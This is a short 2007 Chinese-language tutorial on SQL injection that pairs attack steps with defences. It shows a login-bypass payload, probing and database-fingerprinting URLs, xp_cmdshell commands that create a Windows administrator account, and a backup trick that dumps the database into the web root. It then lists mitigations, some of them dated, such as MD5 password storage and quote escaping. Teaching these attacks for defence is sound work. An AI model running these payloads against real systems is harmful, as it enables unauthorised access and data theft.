SQL注入与防范基础

<============================== SQL注入与防范基础 =============================>

Author:刘岚
Date:  2007-5-31

<================================================================================>

小例:

正常情况下 ：select * from Users where login =‘正确帐户’ And password =‘正确密码’

输入 ’ or ‘’＝‘ 会怎样 ?

sql语句变为:

Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’

看看where之后条件是不是就变为真了???

 

1.什么是SQL注入式攻击?

  SQL Server注入式攻击就是攻击者用非法的SQL语句欺骗服务器，执行恶意的操作.

2.检测一个网站是否可以进行注入攻击?

  1).Step1(是否可以进行攻击)

 http://.../url.aspx?id=1  and 1=1 正常显示
 http://.../url.aspx?id=1  and 1=2 内容为空

  2).Step2(查看服务器用的是哪种数据库)

        http://.../url.aspx?id=1 and (select count(*) from sysobjects)>0
     执行成功,则证明服务器端所用为SQL Server数据库

 http://.../url.aspx?id=1 and (select count(*) from msysobjects)>0
     执行成功,则证明服务器端所用为Access数据库

3.怎样进行攻击呢???

  1).利用系统表注入SQLServer数据库

 http://.../url.aspx?id=1;exec master..xp_cmdshell “net user name password /add” --
      说明:以上语句新建了用户名为name、密码为password的windows的帐号

 http://.../url.aspx?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
      说明:将新建的帐号name加入管理员组(此命令只限于sa账户,否则没有权限调用xp_cmdshell命令)

  2).查看服务器所用的库与表

 http://.../url.aspx?id=1 and db_name()>0
      说明:db_name()>0 是一个系统变量，返回是数据库名

       http://.../url.aspx?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
      说明:将数据库备份到Web目录下面，再用http把整个数据库就完完整整的下载回来 （http://localhost/1.db）.
    下载之后对数据库1.db进行还原操作，之后就可以看到数据了.

4.注入式攻击的原因

  攻击方式:
  Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’
 
  原因:动态生成Sql命令没有对用户输入的数据进行验证

  攻击方式:
  exec master..xp_cmdshell “net user name password /add

  原因: 1).通过sql的漏洞
        2).数据库访问权限的设计为dbo的权限

5.懂得攻击就可以防范了...
 
  1).过滤输入内容(替换所有非法字符)
     例: 方式1--替换单引号   replace(“’”, “’’”)

  2).检查用户输入的合法性
     确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行——之所以要执行服务器端验证，
     是为了弥补客户端验证机制脆弱的安全性。 要知道,客户端提交的东西是不可信的.

  3).限制表单或查询字符串输入的长度,也是良好编程习惯的体现.
 
  4).用存储过程来完成各项查询.即用户只有对proc执行的权限,没有对table操作.

  5).将用户登录名称、密码等数据加密保存.例如:MD5,
 
  6).检查提取数据的查询所返回的记录数量.

 如果程序只要求返回一个记录，但实际返回的记录却超过一行，那就当作出错处理.

  7).用户最小权限原则

     一般情况下，不授予账户sa的权限.